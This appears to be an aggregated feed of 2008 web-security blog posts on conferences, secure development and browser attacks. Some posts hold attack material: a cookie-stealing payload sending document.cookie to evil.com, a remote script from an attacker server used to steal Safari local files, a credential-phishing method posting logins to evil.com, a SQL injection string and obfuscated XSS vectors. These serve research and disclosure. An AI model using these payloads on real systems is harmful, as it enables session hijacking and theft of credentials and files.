The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary. The issue starts simply enough with a victim visiting an attackers webpage. Once on the attacker’s webpage, the attacker simply loads a Java Applet. Inside of the applet is a call to getAppletContext().showDocument(URL);

getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument(). Normally, browsers will not let remote sites open new browser windows which point to local files. It seemed that Safari had some issues determining the specific “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system.

Now here is where things get interesting… Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control. There are a couple ways plant our content in a predictable location using Safari. Safari, by default has a reasonably predictable location for cached/temporary files. We can use these predictable locations to load our content, we’ll have some guessing to do, but it works… Safari can also be forced to dump user controlled contents to the “c:temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy. I’m not sure if Apple considers the “c:temp” issue a bug, but just in case they do I won’t go over the details for the “c:temp” trick just yet.

In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.

Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted. We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously). The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system. You can include a <script src=”http://attacker-server/remote-control.js></script> if you want to remotely control the script running on the local file system. Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.

Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and any subdirectories).

Once we have the contents of the file in JavaScript space, we simple encode the contents and POST the contents to our attacker web server. There you go… Stealing Files with Safari!

Michael Howard's Web Log

Improvements in Office Security

Posted: November 17th, 2008, 10:59pm CST by michael_HOWARD

Tags: Security [edit]

David LeBlanc has an excellent write-up of the results (so far) of all the security work the Office guys have been doing over the last few years.

Net: about a 50% reduction in vulns!

Justice League

Web application security versus software security

Posted: November 14th, 2008, 10:43am CST by gem

Tags: Software Security [edit]

I have been known to take the Web application security community to task for a myopic focus on Web and Web only. Being constrained by HTTP does serve to make things pretty easy! Lately, I have adjusted my thinking.

Jeremiah Grossman and I cross paths out there on the evangelism circuit pretty often and have talked about Web app security versus software security many times. Jeremiah is a great guy, and always willing to listen and think carefully. It was only natural that he would end up as a Silver Bullet victim.

Episode 32 of the Silver Bullet Security Podcast features a chat with Web security guru Jeremiah. Among other things, we talk about the relationship between Web app security and software security.

Near the end of our conversation, we raised the idea of whether all Web security problems have analogs in the software security space and what that might mean. After thinking more about that issue, I made it the subject of this month’s informIT column.

In the end, Web application security is important, but we must be careful not to overemphasize the solutions that work only for Web apps and forget about the rest of software out there. In the meantime, we have plenty to learn from each subdomain.

Dominic White's .tHE pRODUCT

Idle Poking leads to Spam and Pie on Face

Posted: November 14th, 2008, 6:45am CST

Tags: Security [edit]

In a moment of madness, I subscribed to an ad-for-money service. I don't know why, it was silly. After receiving several MMS adverts, I came to my senses and unsubscribed. However, the messages kept coming. What irritated me is that my MMS settings were broken and the MMS would keep being resent on a thrice daily basis starting at 'earlier in the morning than I usually wake up'. So, today, while in a paint-fume fuelled rage, I sent a mail to every abuse@ address of relevance, with the usual ECT act shpiel.In response, a fairly senior exec from the holding company phoned to apologise and personally sort out the problem. I was very impressed and happy that things would work out. A little while later, I received the following e-mail:

Hi Dominic,

As per our discussion earlier, we have complied with your request to opt you out of the [redacted] database. We investigated your case and the following report was generated by our technical team which has in turn revealed the nature of the problems you experienced, as mentioned we are very proactive with regards to SPAM complaints, and since we have never had a complaint of this nature before we were concerned that we had developed a bug in the system so to speak. As you will be able to see from the report below, we have identified the reasons for the problems, and as a result of the investigation it has in fact raised questions about your access to the system.

Report back: The subscriber tried a SQL inject on his record, this created an invalid user record field thus when trying to opt out the record updating failed because of this. Unfortunately the Opt out process could not be completed when then user record was supposed to be updated. Please refer to the user information below

[table details redacted to protect the innocent]

The "' or 1==1;--" in the firstname field is where the injection was used. This was done on 2008/08/21 04:48:31 PM

The nature of the SQL injection that was used was to try and gain access to alter information in the [redacted] database. With this in mind we could therefore from our own side open up a case against this contact. If he/she would have been successful in the attempt, the integrity of other Users could also have been in doubt. We have manually Opted the user out of the [redacted] Opt-In base and blacklisted the number for all [redacted] sites that we control.

I trust that this resolves your query, and confirms that we have opted you out of the service and any related [redacted] service. If you have any further queries please feel free to contact me directly.

Kind regards
[names redacted]

Pie-on-face.

I didn't know the string had cause any abnormal activity, and hence didn't mention it to them as I usually would when I find these things. I replied with a thanks, an apology, and a warning that they should get a security person to address their SQLi flaws before one of the automated SQLi's does it for them.

The more interesting question though is, have I really done anything wrong? I potentially entered my name as ' or 1==1--, nothing more, nothing less. I also had a legitimate intent to use the service. An innocent n00b could have done the same or similar by chance, although the chances are much less likely, and I would think that they wouldn't be in trouble. It would seem intent and foreknowledge comes into it. I possibly knew what could happen, and I possibly did it on purpose, where as a n00b wouldn't. But, if intent comes into it, the full scope needs to come in too, my knowledge would have allowed me to use a benign string that wouldn't damage anything on their systems, and I always report these things when I find them. Hence, my intent was most likely to make the intertubes a safer place. Right, so if your intent was good but you still do something bad, then potentially you should be punished. However, in this case, did I do anything bad? The only person adversely affected was myself (and with a minor irritation at that), and the provider gets to patch a hole before it was seriously 'sploited (hopefully). Also, I am a member of ' or 1==1--, which should allow me to type my affiliations name without fear or prejudice. What do you think?

P.S. The discussions in this post are hypothetical and of theoretical interest, they do not constitute an admission of guilt or a claim to have performed any actions mentioned.

:)

The Spanner

Javascript vbscript challenge

Posted: November 9th, 2008, 1:47pm CST by Gareth Heyes

Tags: Security [edit]
Whilst hacking away in javascript I was experimenting with various things and I thought of a problem which would make a good challenge.

The idea was to produce some vbscript which executed the msgbox function without using parenthesis but the trick was not to raise a syntax error in javascript when parsing the code. I found a cool solution to this but lets see what you can come up with. Here are the main rules:-
Rules
1. No parenthesis may be used.
2. The vbscript version must execute msgbox with a argument of 1.
3. No syntax errors in either vbscript or jscript.
4. Errors can’t be turned off, using window.onerror for example is not allowed.
5. Both code samples must work in IE7.
6. The javascript and vbscript code should be identical.

In order to win the challenge you must provide the correct code which executes within the following tags:-
```
<script type="text/vbscript">
Your vbscript code here
</script>
 
<script type="text/javascript">
Your javascript code here
</script>
```

The Turkey Curse

Deepsec, 25C3, CGNSec and everything else

Posted: November 6th, 2008, 3:48am CST by fukami

Tags: Events Security Deepsec OWASP 25C3 [edit]

Next week I will stay in Vienna to join Deepsec. Last year the conference was just amazing and I’m also looking forward to visit Metalab, one of my favorite hacker spaces. BeF and me will have a talk about ActionScript 3 obfuscation/de-obfuscation and other fun stuff with byte code. BeF released a new version of erlswf which is capable of disassembling AS3 and returning this disassembly as JSON. If you are interesting in those things you should check it out. BeF will hopefully blog about erlswf in detail (hinthint :)

During the last weeks I was one of the persons who looked through all the submissions (nearly 300!) for the 25C3. I was also involved into the decisions what talks will take place. I won’t tell much, but I think it will be interesting and much more focussed on technical topics rather than meta-blabla like the last years. BeF and me are going to speak about Flash stuff at 25C3 as well and we will also release a paper for the conference proceedings.

In November I will be at OWASP Germany 2008 in Frankfurt and talk about RIA security. I’m still not 100% sure what I will exactly talk about, but I think I will focus on difficulties one has to face when auditing complex RIA applications. Most people already know that I’m not a big fan of OWASP since it’s much to much vendor centric in my point of view (but, well, I don’t like to start a big rant here right now). Anyways, I’m looking forward to meet Alexios from n.runs and Martin at the conference.

Last month Stefan and me founded CGNSec. The idea is to meet security people and researchers from the Cologne/Bonn area to talk about unfinished ideas and projects as well as having some beers. Yesterday there was the second meeting and it was real fun. There were even some EZB guys from Frankfurt and we had some interesting conversations. I hope we will have some presentations from time to time, since there are quite some people with interesting stuff. I also hope that the MWCollect guys from Bonn are joining us next time.

Some personal notes: I got engaged with my girlfriend. Since she’ll go to Hamburg beginning of next year to join Henri Nannen Journalist School I will probably leave the Rhineland in between the next two years (well, not before she will finish). I really feel sad somehow, since I feel home here. But after her studies she will probably not coming back, so I will follow her sooner or later.

I joined a carnival society some months ago called “Beueler Stadtsoldaten”. The Rhenish Carneval is starting in a couple of days and I will have quite a couple of events where I will do some dancing (nothing to complicate really) - and I’m thinking about starting a blog or Soup where I like write about some experiences, post some photos and tell about all the dirty little things happen there. I will probably announce it using my Twitter account.

Last but not least a little advertising: End of November the book of Mario Heiderich, Christian Matthies, Johannes Dahse and me will be published by Galileo Press. It’s in German and it calls “Sichere Webanwendungen” (secure web applications). I was only responsible for everything related to Flash, so most of the work was done by the others. The nice thing is that it will be published only using my nick, not my real name :)
Tags: Events, Security, Deepsec, OWASP, 25C3, CGNSec, Beuel, Stadtsoldaten

CGISecurity.com: Your Web Site and Application Security Resource

The Month of Burp Pr0n

Posted: November 3rd, 2008, 8:13pm CST by Robert

Tags: Security Tools [edit]

The creators of BURP Proxy are making major updates to this free web proxy. "The next release of Burp Suite is near to completion, and will be made available during December if all goes well. This is a significant upgrade, with major enhancements to several existing components, and some exciting brand...

Michael Howard's Web Log

Volume 5 of the Microsoft Security Intelligence Report is out

Posted: November 3rd, 2008, 8:16am CST by michael_HOWARD

Tags: Security [edit]
Volume 5 of the Microsoft Security Intelligence Report is now out, highlights include:
- Security vulnerability disclosures - Microsoft and third-party software
- Vulnerability Exploits – Microsoft software
- Browser-based exploits - Microsoft and third-party software
- Security and privacy breaches
- Malicious and potentially unwanted software trends
Volume 5 of the SIR also includes a detailed examination of the threat ecosystem which explains how threats propagate across the internet, how users become infected and the resultant impact on privacy and identity theft.

The one item that stood out for me was the move from successfully attacking Microsoft applications and browser objects to attacking and compromising 3rd-party applictions and browser objects.

The Spanner

Hackvertor and clickjacking

Posted: November 2nd, 2008, 2:29pm CST by Gareth Heyes

Tags: Security [edit]
Update
I’ve updated Hackvertor for the final time until the brand new version is ready. I thought I’d blog about it because it includes some interesting features from a security point of view.
HTML escape
The DOM inspector didn’t escape HTML when inspecting the DOM, this didn’t cause XSS because user interaction was need to actually execute the inspector but I fixed it anyway because I need to check some values when performing some javascript research.
Clickjacking protection
I’ve also added some Clickjacking/CSS Overlay/UI redressing/Insert Lame name here protection. It works by destroying the Hackvertor UI if it has been framed. I can do this because the vulnerability is that Hackvertor executes javascript and isn’t vulnerable to CSRF because there’s no server side action to perform

The code I’ve used is:-
```
if(top != self) {
   window.onload=function() {
     document.open();
     document.write('UI Redressing/Clickjacking/CSS Overlay/Latest Buzzword protection');
     document.close();
   }
}
```
Inspect output improvements
Finally I’ve updated the inspect output button. This button is really handy when you need to traverse a object quickly and find “hidden” properties or relationships with other objects. It works by evaluating the output entered and running a bruteforce check on the object for properties between -10000 and 10000 as well as single characters. Why do this? Because it exposes some interesting browser quirks in Firefox and maybe others, originally it was inspired by DoctorDan’s discovery on sla.ckers that the reg exp object in Firefox contains a hidden property.

The format now looks nice and I’ve added native js properties to help with js hacking and XSS research. A sample of how it works can be found here:-
[tinyurl.com]

Michael Howard's Web Log

Security-Related MSDN Magazine Articles

Posted: October 28th, 2008, 1:38pm CDT by michael_HOWARD

Tags: Security [edit]

Bryan Sullivan and I wrote a couple of articles for this month's MSDN Magazine. If you're not aware, November focuses on Security.

The two articles are:

Test Your Security IQ

Threat Models Improve Your Security Process

And there's the Agile SDL paper than I already mentioned.
Agile SDL

Posted: October 28th, 2008, 1:35pm CDT by michael_HOWARD

Tags: Security [edit]

Over the last year or so, a bunch of us in the SDL team have been working with agile groups across Microsoft to help streamline the SDL for agile methods. Bryan Sullivan wrote a paper for MSDN Magazine explaining where our current throughts lie. Clearly this is just the start, we have some more work to do, but we thought it would be worthwhile putting our ideas out there to get feedback and comments.

Disenchant's Blog

I’ve got a backlink from example.com - RFC 2606

Posted: October 23rd, 2008, 11:00pm CDT by Disenchant

Tags: Security [edit]

Many of my readers will know, that example.com, example.net and example.org are reserved for use in documentation, according to RFC 2606. If you surf to any of these sites, there will be just the same information I wrote before and also a link to the RFC 2606. So it’s quiet interesting, why according to my statistics, example.com has a link on it, pointing to my website. I don’t no why this happened but it’s quiet interesting an if somebody can tell me what happened, I’m glad to know.

Here’s a proof (even if it only a line of text ):

ha.ckers.org web application security lab

Security Expert Rehabilitation

Posted: October 22nd, 2008, 4:18pm CDT by RSnake

Tags: Random Security [edit]

In light of my last gloom and doom post, I wanted to turn the tables and add some humor. A while back a bunch of us came up with the concept of a security expert rehabilitation program. Once we give up security and go back to manual labor we need to re-acclimate ourselves to the rest of society. So, in no particular order, here’s what the rehabilitation program might look like:

Step 1: Sign up for a MySpace account. Facebook is fine too. Actually why not all of the social networking platforms? It’s easier to keep in contact with everyone if you do. Make sure to fill out each form field completely and accurately!

Step 2: Pick a password that is easy to remember and make sure to write it down on a sticky note. Feel free to tell your friends in case they want to use your account too. Better yet, make a list of all your passwords and change them all - to “password”. If someone is annoying and makes you use a number, “password1″. An upper case, a number and a special character use “Password+1″. Now tear up that pesky list you just made. You’re living easy now aren’t you?

Step 3: Download every third party widget, gadget, movie, game you can think of onto your social networking profile. Cuz that’s fun. And make sure to put every gory detail about who you are, where you live, what your birthday is, what your mother’s maiden name is, what you like and dislike, etc…. And feel free to update it regularly with any and all personal information that may have changed. That way people can get to know you better.

Step 4: Log into your newly created webmail account and email all your friends your likes and dislikes. Don’t forget to enable HTML rendering so you can see all the neato pictures! And don’t feel afraid of hitting reply to those spam emails. That’ll help them know that you’re not interested.

Step 5: Start downloading toolbars and desktop applications galore so that you can get your real time stock quotes, shop for beanie babies and know what the weather is like in Iceland at all times.

Step 6: Go ahead and remove all that anti-spyware and anti-malware junk. It makes your computer so much faster if you do! Plus, who wants to keep hitting “Ok” and “Allow” to every security warning? Turn `em off!

Step 7: Go ahead and plug that laptop right into the Internet. No need to use a firewall. Those are just complicated anyway. Or better yet, just go to the local cafe and use their public wifi. Hey, cute girls hang out there - that’s what normal people do: they hit on cute girls who are using open wifi. You want to be normal too, don’t you?

Step 8: Don’t bother to lock your computer when you go to the bathroom at your cafe. Let the police worry about crime - it’s not your job anymore.

Step 9: Open all the attachments you get in emails. Hey, they might be important, and you don’t want to be rude to whomever sent them to you, now do you? That’s not what normal people do.

Step 10: And finally, start clicking on all ads everywhere. They wouldn’t give a “special offer” to just anyone!

If I don’t post before then, have a great week and a good Halloween for those of you who celebrate the more pagan of holidays!

The Spanner

Wordpress plugin security

Posted: October 22nd, 2008, 10:10am CDT by Gareth Heyes

Tags: Security [edit]

It’s really bad. The amount of code that gets released and is vulnerable is shocking. Wordpress you need to do something. Anything. Disable all plugins now, run a audit on the code or use a user security review process, even as a last resort run some sort of automation on the code. Is it really that hard? Scan for common vulnerablities like echo PHP_SELF, global injections and so on.

I’ve just reviewed yet another security report from Blogsec and some more vulnerable plugins. You boast about all those users. Do something to help secure their software.

Disenchant's Blog

hackIt.js - A hidden Phishing Method

Posted: October 21st, 2008, 3:22pm CDT by Disenchant

Tags: Security [edit]
It’s much later than I wanted to post this but finally here is my demonstration I’ve done for the Security-Zone 2008. Because there are so much resources about XSS and SQL Injections out there already, this posting is just about the hidden phishing method.

How it works:
1. Attacker needs a XSS vulnerability at example.com
2. Configuration of the hackIt.js and include it to example.com by inserting it through a script-Tag
3. hackIt.js knows because of it’s configuration where the login page of example.com is
4. The script replaces the content of the infected page at example.com with a copy of the login page which will be loaded through a XML HTTP Request
5. hackIt.js will automatically find the login form and it’s input fields in “faked” login page
6. The submit button of the login form will become a normal button without it’s submit functionality but it will now have a onclick-function
7. As soon as the user clicks on the submit button to login, an image will become dynamically added to the DOM tree, which points to a server side script at evil.com, including the values of the login fields as attributes.
8. Because of as soon as an image becomes loaded, a HTTP GET request will be sent to the image’s location, the attacked user’s login credentials will be sent to evil.com in cleartext, where an attacker can now store it
9. Last but not least, the hackIt.js normally submits the login form to it’s originally thought location.
10. If the user has no Proxy or other tamper mechanism in place, he/she will never find out, that the login credentials have been sent to evil.com
I know it sounds quiet complex but it’s really easy if you get the point. If there are any questions, I’m glad to answer these as a comment or in an email

Because of I’m not sure if it’s a good idea to post the source code (even if it’s really easy to write it on your own), I decided to not make it available through my blog but if you’d like to receive the code, just let me know directly. Anyway, below you can watch a small video which demonstrates the attack, performed by the script.

CGISecurity.com: Your Web Site and Application Security Resource

Wireshark 1.0.4 Released

Posted: October 21st, 2008, 11:59am CDT by Robert

Tags: Security Tools [edit]

A new version of Wireshark (Ethereal) has been released to address multiple security issues. "Impact It may be possible to make Wireshark crash by injecting a series of malformed packets onto the wire or by convincing someone to read a malformed packet trace file. Resolution Upgrade to Wireshark 1.0.4 or later....

The Spanner

Bluehat

Posted: October 20th, 2008, 4:23pm CDT by Gareth Heyes

Tags: Security [edit]

It was awesome! My first conference and the first time I’ve ever spoken about security stuff. I was really nervous but after the first one I calmed down a bit. We presented a total of three times, two 30 minute slots and a final 50 minutes. It was a lot easier because there was three of us and we all shared the talk equally and it was pretty amazing that it worked because we only met in person when we got there.

The best part of the conference was meeting people with similar interests and talking about security stuff, I really enjoyed talking to Eduardo (Sirdarckcat), David Lindsay (Thornmaker), David Ross, Alex (Kuza55), Eric (Watch out for those banana men dude) and many more people.

Personally I think the best talk of the conference was about buffer overflow defenses in Windows (Mitigations Unplugged), I’m currently learning about these techniques and Matt did a great job of explaining every mitigation that Windows has. I can’t wait until I’m good enough to exploit these techniques

My part of the talk went well but I’ve just got to learn to slow down a bit and provide more explanation. Also turning the mic off when leaving the room would be a good idea

I went through my XSS vectors and I wanted to demo the creation of the final complex CSS expression vector but my Hackvertor tool wouldn’t fit on the damn screen I didn’t want to change the resolution in mid presentation. I might release a new video to the Bluehat site if I can get permission and if I actually record it. I then demoed my UTF-7 style sheet which is interesting, @charset at rule is not used much and I’m not sure if everyone knew it could be used to encode expressions

Finally I went through some CSS overlay (Click jacking) attacks and mitigation techniques. A browser level solution is needed here as all we’ve got currently is frame busters/breakers. If it was up to me I’d lock iframe/frame/object/applet styles and make them always visible but I can hear you designers shouting in the background.

Eduardo then described the best part of our talk IMO, the CSS attribute reader he came up with. It’s just plain awesome. When he described the technique to me via IM I thought it was cool but I couldn’t think of a viable attack situation however when meeting up he made it much clearer and we came up with a few good ideas on how it can be used in an attack.

David Lindsay then went through some more CSS hacking techniques, LAN scanning and history crawling. We then went on to demo our games and POC’s which was fun.

The last day I was invited to be on the WAF panel debate because someone dropped out, it was a great opportunity to express the real problem behind the countless amount of web sites with XSS and SQL injection holes. Nate and Mike really had some good views on the subject and I totally agreed with their opinion. We came to the conclusion that although a WAF can never be a perfect solution it does add some benefit however fix your code first and throw out the crappy books with examples like echo $_REQUEST['something'] in.

Before I forget my damn CSS paint application didn’t work Damn I should have simplified it for the presentation. Anyway here’s the fun demo:-
CSS paint

Other demos from our presentation are available here:-
Our demos

Last but not least the slides:-
the_sexy_assassin2ppt

Justice League

Software Security Framework

Posted: October 15th, 2008, 10:51am CDT by gem

Tags: Software Security [edit]

Brian Chess and I just published an article on the Software Security Framework displayed below.

Governance	Intelligence	SDL Touchpoints	Deployment
Strategy and Metrics	Attack Models	Architecture Analysis	Penetration Testing
Compliance and Policy	Security Features and Design	Code Review	Software Environment
Training	Standards and Requirements	Security Testing	Configuration Management and Vulnerability Management

Our plan is to use this framework to build a maturity model for software security by interviewing executives running many of the top ten large-scale software security initiatives. Please check out the article, and stay tuned for more.

Michael Howard's Web Log

SAFECode releases "Fundamental Practices for Secure Software Development" document

Posted: October 8th, 2008, 12:04pm CDT by michael_HOWARD

Tags: Security [edit]

Today, SAFECode released an important document entitled, “Fundamental Practices for Secure Software Development” aimed at helping software producers create more secure software.

The document is unique in that it describes what SAFECode members are doing in practice to raise the security bar; it’s not a theoretical or academic document.

I believe the fact that it describes what’s used in practice is what makes the document important because it means the ideas in the document can be implemented in the real world regardless of the type of software under development.

So take a look, and let me know what you think.

Updated: first review from InfoWorld.

Justice League

What Measures do Software Vendors Use for Software Assurance?

Posted: October 6th, 2008, 1:04pm CDT by jeremy

Tags: Enterprise Software Security [edit]

My last project for my former employer (Software AG) was a study of what software vendors do to achieve software assurance. The goal of the study was to see whether we (Software AG) were at, above, or below the norm, and to adjust investments in assurance accordingly. All but one of the vendors who participated are household names - these weren’t mom & pop shops, but major multi-national ISVs, most of them with sales of a billion dollars a year or more.

I presented a brief summary of the study results at the recent “Making the Business Case for Software Assurance” workshop hosted by Carnegie Mellon’s Software Engineering Institute, and sponsored by the US Department of Homeland Security. I’ll also be presenting an even briefer summary of the results at the 24th Annual Computer Security Applications Conference in December.

In my new role at Cigital, I’m hoping to be able to expand the survey beyond software vendors into e-commerce vendors, embedded software suppliers, financial institutions, etc., as well as to systematize the survey so it can be done by filling out a web form instead of as an interview. I welcome your suggestions as to how to make this project more relevant to vendors and software purchasers - and also welcome your participation in the survey, as well as suggestions on how to fund the ongoing work!

And finally, thanks to the (anonymous) vendors who participated in the first phase of the project. While I can’t thank them by name, I very much appreciate their input.

The Spanner

To infinity and beyond!

Posted: October 1st, 2008, 4:26pm CDT by Gareth Heyes

Tags: Security [edit]
I’m still heavily researching Javascript in search of XSS vectors and interesting syntax. I’ve found loads of cool stuff recently and while looking through the ECMA spec. I came across the Infinity object which is a global and a number, of course I was already aware of it but I thought what kind of interesting code can be constructed with it.

It turns out quite a lot, here’s a window.name vector. I’ve added the variable name to simulate and execute the code.
```
name = 'alert(1)'
-Infinity++in eval(1&&name)
```
This doesn’t look like it could work but does
```
+Infinity++in+alert(1)
```
And my final example combines a few different operators:-
```
1,0000instanceof delete~void--Infinity/~alert(1)
```
There are endless possiblities and I’ll leave you to play

tssci security

OWASP NYC AppSec 2008 and NYSec Recap

Posted: September 26th, 2008, 8:51pm CDT by Marcin

Tags: Security [edit]

Living in NYC has its perks, one being that we host the largest OWASP chapter across the world. The NY/NJ Metro chapter put a lot of effort into making sure this last week went smoothly, even with the change of venues at the last minute. I had a lot of fun, and it was nice seeing everyone again, and meeting new faces. On Wednesday night, a bunch of us gathered for a NYSec meeting at DBA down on 1st Ave and 2nd St. Some cool new people I got to meet included Andres Riancho, Dinis Cruz, Ryan Naraine, Ivan Ristić, Dave Aitel, RSnake, Chris Nickerson, and Gunnar Peterson… phew! That is not even a fraction of the people you get to see at these conferences.

Anyways, my two favorite talks go to Dinis Cruz and Dave Aitel. Firstly, Dinis is such an energetic guy, you just want to stand up, do the guido fist pump and then run off to do something really, really cool. As an independent contractor working for Ounce, Dinis developed an open source tool called o2 which helps code reviewers navigate mountains of static analysis data quickly and logically. Of the couple static analysis tools I’ve come across, their interfaces don’t exactly cater to performing thorough, quick and accurate analysis. What o2 let’s you do, is crank up the volume on these tools and just run with it, identifying patterns in code really easily, letting you cover as much as possible. I still have to spend some time playing with it, but it definitely would make anyone’s job easier. All that, and it’s open sourced and will read in any CIR data from an Ounce scan.

Dave’s talk, “Corruption” really captured my sentiments on non-webappsec research (present day). While in university, I always thought the barrier to entry prohibited a lot of people from becoming really good at writing reliable buffer overflow exploits. This could be seen as both good and bad, given the fact that many operating systems have randomized, non-executable memory stacks with Vista ASLR, XP SP2 DEP, PaX/Grsecurity, etc, making them somewhat immune to the vulnerability, but not 100% entirely. This presents a problem, a huge gaping vulnerability in both our systems and our thinking. Buffer overflows continue to surface even after being discovered 15 years ago. But because it is so hard, we don’t see many exploits on milw0rm or packetstorm. And let’s face it, if they’re not on there, then they don’t exist. Right? Maybe. Though one thing is certain, the people writing exploits are professionals and are really, really good at what they do. Be it Dino, Gobbles or Aitel (who was being modest when he said he’s not the best), it is true there are people out there who can and will do it, and when the next remotely exploitable buffer overflow that bypasses stack protection comes along, we won’t know what fucking hit us.

Also, we’ve begun to set the agenda for OWASP EU Summit Portugal. Arshan Dabirsiaghi is looking for folks to contribute to ISWG, a group with some modest goals, like fixing the Internet. Seriously though, the group is looking at new ways to secure the browser, and what approach(es) they’ll take to do it. I’d love to talk about some other projects, but really, there are just too many worthy projects to list all out here, so head on over to the OWASP EU Summit page, and find something of interest.

One last closing thought I’d like to squeeze in… Throughout the entire week, I found it really coincidental that ISC2 chose to sponsor the OWASP conference and release a new certification, the CSSLP (Certified Software Security Lifecycle Professional). Given that James McGovern is putting a lot of effort into developing an OWASP certification, Dre posting R.I.P. CISSP and getting in the top 5 Google search results for “CISSP”, I find it strangely odd they go and do this. It also seems as if they put no thought into the certification at all, just one they cranked out to beat OWASP “to the punch” and make a buck at the industry’s expense, laughing all the way to the bank. Shameful.

Michael Howard's Web Log

Practical Defense in Depth

Posted: September 26th, 2008, 2:50pm CDT by michael_HOWARD

Tags: Security [edit]

<sent from Cabo San Lucas Airport - heading back to Austin >

Crosstalk has published an article for mine regarding how we use Defense in Depth within the SDL, and in Microsoft in general.

Disenchant's Blog

Counter-Terrorism advertising campaign launched

Posted: September 26th, 2008, 2:20am CDT by Disenchant

Tags: Security [edit]

I totally forgot to click publish for this blog posting but better now then never

The Metropolitan Police Service launched a Counter-Terrorism campaign and unfortunately it seems to be real and not just a joke.

The following is copied from here:

The five-week campaign asks members of the public to report any suspicious behaviour in confidence to the Anti-Terrorist Hotline on 0800 789 321.

Press advertising will appear in London’s major newspapers and on the City’s main commercial radio stations.

Camera posterThe press ads seek to raise awareness of some of the items/activities which may be needed by, or be of use to, terrorists. It asks the public to consider whether they have seen any activity connected with them which may have made them suspicious.

Radio advertising has been devised to complement the press ads and features an individual thinking out loud about concerns she has around some suspicious behaviour. She is reassured that she should call the confidential Anti-Terrorist Hotline on 0800 789 321 and that any information will be considered by specialist officers.

Advertising will also run in the Greater Manchester, West Yorkshire and the West Midlands.

At least there is already an alternative poster:

Justice League

RSS Feed for McGraw’s Columns

Posted: September 25th, 2008, 5:50pm CDT by gem

Tags: Software Security [edit]

As Justice League readers know, I have been writing a security column since October 2004. I started with Network Magazine, and stayed with CMP through the launch of darkreading.com. In April, I moved the column to informIT. All of the columns can be found here.

Many of my columns end up being about issues in software security. In particular, the articles I point to below may be of interest to blog readers. Note that some of them are appropriate for business leadership.

To make things easy going forward, we just set up an RSS feed set up for my writings. You can subscribe to that here.

Software Security Columns

Is Application Security Training Worth the Money? [2/06]

Want Turns to Need (software security market size 2006) [4/07]

JSON, Ajax & Web 2.0 [6/07]

Software Security Strategies (4 ways to start an enterprise program) [1/08]

Paying for Secure Software (using total cost of ownership for software projects) [4/08]

Application Assessment as a Factory [7/08]

Software Security Demand Rising (software security market size 2007) [8/08]

Getting Past the Bug Parade (the importance of addressing architecture) [9/08]

Dominic White's .tHE pRODUCT

German Gov says Google is the Devil; SRWare performs exorcism

Posted: September 24th, 2008, 1:35pm CDT

Tags: Security [edit]
My tin foil, now covered in joyous spittle, reflects the news that I'm not crazy (and neither is the EFF or Tom). In reaction, SRWare provides Iron, which according to downloadsquad had none of the privacy invading evil zombies the German Federal Office for Information Security warned us about (you'll notice the warning is similar to mine, take *that* persistent GoogleUpdate process). If you really need another browser and aren't happy with the one, use Iron instead of Chrome at least.
I have since installed Iron, and done some checking with the source. It appears SRWare has made the following changes (this is based on the Babel translation of the page in German, so is fuzzy):
- They are using 525.19 of Webkit rather than Chrome's current 525.13.
- The unique clientID has been removed.
- The TimeStamp for Chrome's install date has been removed.
- Each keypress from the Suggest feature is no longer sent to Google.
- Google-hosted alternative error messages have been disabled.
- RLZ encoding of information to Google, such as where Chrome was downloaded and other configuration options has been removed.
- The persistent GoogleUpdater services has been disabled (this isn't removed when you uninstall Chrome).
- Something about the homepage and URL tracking has been removed.
Hat tip to cocooncrash for the link.

Billy (BK) Rios

Surf Jacking Secure Cookies

Posted: September 24th, 2008, 4:10am CDT by xssniper

Tags: Network Security [edit]

I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…

The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.

Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag. An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking). Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear… I’m safe… right?

Not so fast… If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure. Let me explain…

If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network. Let’s say I have a page on xs-sniper.com that does analytics for my web application. We’ll name this page http://xs-sniper.com/analytics.html. This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served. Inside of the page’s HTML is a script src tag that looks something like this:

<script src=”http://myanalytics.com/webbugs.js”></script>

Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site. In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE. Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (https://xs-sniper.com/analytics.html). Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):

CookiesStealer = new Image();

CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;

The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure. There you go… Secure cookies stolen.

Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location. Ok… I lied… every browser EXCEPT ONE… can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location? You can find the answer here. For those of you in disbelief, you can test your favorite browser(s) here.

SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked… that’s pretty cool…

